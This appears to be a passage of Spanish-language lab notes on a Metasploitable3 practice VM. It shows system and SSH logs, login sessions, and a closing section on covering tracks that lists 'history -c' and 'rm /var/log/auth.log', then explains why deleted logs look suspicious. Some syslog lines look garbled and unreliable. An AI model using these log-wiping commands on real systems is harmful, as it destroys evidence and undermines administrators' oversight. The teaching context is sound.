Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.60896] IPV6: ADDRCONF(NETDEV_CHANGE): vethbbcbcf@ifc link becomes ready
Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.60896] dockerd: port 1(vethbbcbcf) entered forwarding state
Apr 16 13:46:38 metasploit@kali-01404 kernel: [ 24.60897] dockerd: port 1(vethbbcbcf) entered forwarding state
Apr 16 13:46:38 metasploit@kali-01404 avahi-daemon[892]: Joining mDNS multicast group on interface dockerIPv6 with address fe80::d4ff:fef4:e5a3:vethbbcbcf.
Apr 16 13:46:38 metasploit@kali-01404 avahi-daemon[892]: New relevant interface dockerIPv6 for mDNS.
Apr 16 13:46:38 metasploit@kali-01404 avahi-daemon[892]: Registering new address record for fe80::d4ff:fef4:e5a3 on docker_v6.
Apr 16 13:46:38 metasploit@kali-01404 avahi-daemon[892]: Joining mDNS multicast group on interface vethbbcbcf IPv6 with address fe80::d4ff:fef4:e5a3.
Apr 16 13:46:38 metasploit@kali-01404 avahi-daemon[892]: New relevant interface vethbbcbcf for mDNS.
Apr 16 13:46:38 metasploit@kali-01404 avahi-daemon[892]: Registering new address record for fe80::d4ff:fef4:e5a3 on vethbbcbcf.v6.
Apr 16 13:46:38 metasploit@kali-01404 ntpdate[821]: NTP server 185.125.198.57 offset -0.000354 sec
Apr 16 13:46:40 metasploit@kali-01404 kernel: [ 39.72381] dockerd: port 1(vethbbcbcf) entered forwarding state
Apr 16 13:46:54 metasploit@kali-01404 ntpdate[285]: adjust time server 185.125.198.57 offset -0.000354 sec
Apr 16 13:46:54 metasploit@kali-01404 audit[17763]: user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/lib/cups/backend/cups-pdf" pid=1386 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 audit[17763]: user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=1386 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36382] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/bin/cups-browser" pid=1384 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/sbin/cups-client" pid=1379 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/bin/networkmanager/rm-chrome-link-action" pid=1473 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/bin/cups-pdl" pid=1475 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/share/apparmor/policies/linux/pid-1474" pid=1474 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/bin/cups-backend/cups-pdf" pid=1476 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_replace" profile="unconfined" name="/usr/bin/cups-filters/filters" pid=1477 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_load" profile="unconfined" name="/usr/bin/mysqld" pid=1478 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 53.36922] user=SYSTEM operation="profile_load" profile="unconfined" name="/usr/sbin/tcpdump" pid=1479 comm="apparmor_parser"
Apr 16 13:46:54 metasploit@kali-01404 cron[1529]: (CROWD INFO (pidfile fd = 3))
Apr 16 13:46:54 metasploit@kali-01404 cron[1590]: STARTUP fork ok
Apr 16 13:46:54 metasploit@kali-01404 cron[1590]: (CROWD INFO (Quinn Brecknot jobs))
Apr 16 13:46:54 metasploit@kali-01404 kernel: starting up, listening on eth0
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 63.53293] warning: "unconfined" warns: 3-bit capabilities (legacy support in use)
Apr 16 13:46:54 metasploit@kali-01404 procfs[6074]: metasploit@kali-01404... ProFPID 1.3.5 (stable) (built Thu Oct 29 2020 19:35:13 UTC) standalone mode STARTUP
Apr 16 13:46:54 metasploit@kali-01404 procfs[1787]: metasploit@kali-01404... Failed to send to 0.0.0.0, port 21: Address already in use
Apr 16 13:46:54 metasploit@kali-01404 procfs[1787]: metasploit@kali-01404... Check the error type directly to see if we are configured correctly
Apr 16 13:46:54 metasploit@kali-01404 procfs[1787]: metasploit@kali-01404... Check binding as if used/inited, or another ProFPid instance, is already using 0.0.0.0, port 21
Apr 16 13:46:54 metasploit@kali-01404 procfs[1787]: metasploit@kali-01404... Unable to start profpid check logs for more details
Apr 16 13:46:54 metasploit@kali-01404 procfs[1787]: metasploit@kali-01404... ProFPid killed (signal: 1)
Apr 16 13:46:54 metasploit@kali-01404 procfs[1787]: metasploit@kali-01404... ProFPID 1.3.5 standalone mode SHUTDOWN
Apr 16 13:46:54 metasploit@kali-01404 kernel: [ 68.14222] io_tables (C) 2000-2006 Netfilter Core team
Apr 16 13:46:57 metasploit@kali-01404 kernel: [ 68.15122] init: Plymouth->update-bridge main process ended, respawning
Apr 16 14:17:17 metasploit@kali-01404 CRON[218]: (root) * * * * * cd /run-parts --reboot &rc (/etc/cron.hourly)
Apr 16 14:04:41 metasploit@kali-01404 sshd[2789]: (sshd) * * * * * LIST (vagrant)

```

Logs de ssh:

```

sudo cat /var/log/auth.log | grep sshd

Mar 24 16:37:46 metasploitable3-ub1404 sshd[1481]: Server listening on 0.0.0.0 port 22.
Mar 24 16:37:46 metasploitable3-ub1404 sshd[1481]: Server listening on :: port 22.
Mar 24 16:53:30 metasploitable3-ub1404 sshd[1474]: Server listening on 0.0.0.0 port 22.
Mar 24 16:53:30 metasploitable3-ub1404 sshd[1474]: Server listening on :: port 22.
Mar 24 16:58:04 metasploitable3-ub1404 sshd[1927]: Did not receive identification string from 10.2.218.153
Mar 24 17:00:14 metasploitable3-ub1404 sshd[1930]: fatal: Read from socket failed: Connection reset by peer [preauth]
Mar 24 17:08:43 metasploitable3-ub1404 sshd[1955]: Did not receive identification string from 10.2.218.153
Mar 26 15:55:37 metasploitable3-ub1404 sshd[1559]: Server listening on 0.0.0.0 port 22.
Mar 26 15:55:37 metasploitable3-ub1404 sshd[1559]: Server listening on :: port 22.
Mar 26 16:00:06 metasploitable3-ub1404 sshd[2036]: fatal: Read from socket failed: Connection reset by peer [preauth]
Mar 26 17:00:06 metasploitable3-ub1404 sshd[2074]: fatal: Read from socket failed: Connection reset by peer [preauth]
Mar 26 18:00:06 metasploitable3-ub1404 sshd[2161]: fatal: Read from socket failed: Connection reset by peer [preauth]
Mar 26 18:11:08 metasploitable3-ub1404 sshd[2173]: Accepted password for vagrant from 10.2.218.153 port 43747 ssh2
Mar 26 18:11:08 metasploitable3-ub1404 sshd[2173]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)
Mar 26 18:20:27 metasploitable3-ub1404 sshd[2206]: Accepted password for vagrant from 10.2.218.153 port 33279 ssh2
Mar 26 18:20:27 metasploitable3-ub1404 sshd[2206]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)
Apr 14 16:13:55 metasploitable3-ub1404 sshd[1584]: Server listening on 0.0.0.0 port 22.
Apr 14 16:13:55 metasploitable3-ub1404 sshd[1584]: Server listening on :: port 22.
Apr 14 16:18:24 metasploitable3-ub1404 sshd[2060]: Accepted password for vagrant from 10.2.218.153 port 40751 ssh2
Apr 14 16:18:24 metasploitable3-ub1404 sshd[2060]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)
Apr 16 13:48:32 metasploitable3-ub1404 sshd[1574]: Server listening on 0.0.0.0 port 22.
Apr 16 13:48:32 metasploitable3-ub1404 sshd[1574]: Server listening on :: port 22.
Apr 16 14:10:38 metasploitable3-ub1404 sshd[2059]: Accepted password for vagrant from 10.2.218.153 port 38137 ssh2
Apr 16 14:10:38 metasploitable3-ub1404 sshd[2059]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)
Apr 16 14:51:59 metasploitable3-ub1404 sshd[15820]: Accepted password for vagrant from 10.2.218.153 port 36583 ssh2
Apr 16 14:51:59 metasploitable3-ub1404 sshd[15820]: pam_unix(sshd:session): session opened for user vagrant by (uid=0)

```

Sesiones activas

```

who
vagrant tty1 Apr 16 14:07
last
vagrant tty1 Thu Apr 16 14:07 still logged in
reboot system boot 3.13.0-24-generi Thu Apr 16 13:48 - 15:18 (01:29)
vagrant tty1 Tue Apr 14 16:16 - crash (1+21:31)
reboot system boot 3.13.0-24-generi Tue Apr 14 16:13 - 15:18 (1+23:04)
vagrant tty1 Thu Mar 26 15:56 - crash (19+00:17)
reboot system boot 3.13.0-24-generi Thu Mar 26 15:55 - 15:18 (20+23:22)
vagrant tty1 Tue Mar 24 16:53 - crash (1+23:01)
reboot system boot 3.13.0-24-generi Tue Mar 24 16:53 - 15:18 (22+22:24)
vagrant tty1 Tue Mar 24 16:40 - down (00:00)
reboot system boot 3.13.0-24-generi Tue Mar 24 16:37 - 16:41 (00:03)
vagrant tty1 Wed Mar 11 18:30 - crash (12+22:06)
reboot system boot 3.13.0-24-generi Wed Mar 11 18:24 - 16:41 (12+22:17)
reboot system boot 3.13.0-24-generi Wed Mar 11 18:02 - 18:16 (00:14)
reboot system boot 3.13.0-24-generi Thu Oct 29 19:26 - 19:39 (00:13)

wtmp begins Thu Oct 29 19:26:01 2020

```

Ejemplos conceptuales de limpieza. ¿Cómo borrar toda esta información?

- Borrar historial: history -c
- Borrar logs: rm /var/log/auth.log

Esto elimina evidencias... pero **también levanta sospechas. Borrar logs NO es invisible**, un administrador puede ver:

- archivos faltantes
- incoherencias

- sistemas de monitorización

¿Qué pasaría si desaparece un log entero? ¿Eso parece normal?

No, no es normal. Un administrador experimentado notaría inmediatamente sospecharía porque:

- Los logs no desaparecen solos → Los sistemas rotan logs automáticamente, pero nunca desaparecen por completo.
- Tamaño y fechas sospechosas → Si el log se ha vaciado o reducido drásticamente de tamaño, es una señal de alerta.
- Faltan archivos esperados → Archivos como auth.log o syslog siempre deberían existir en un sistema Linux.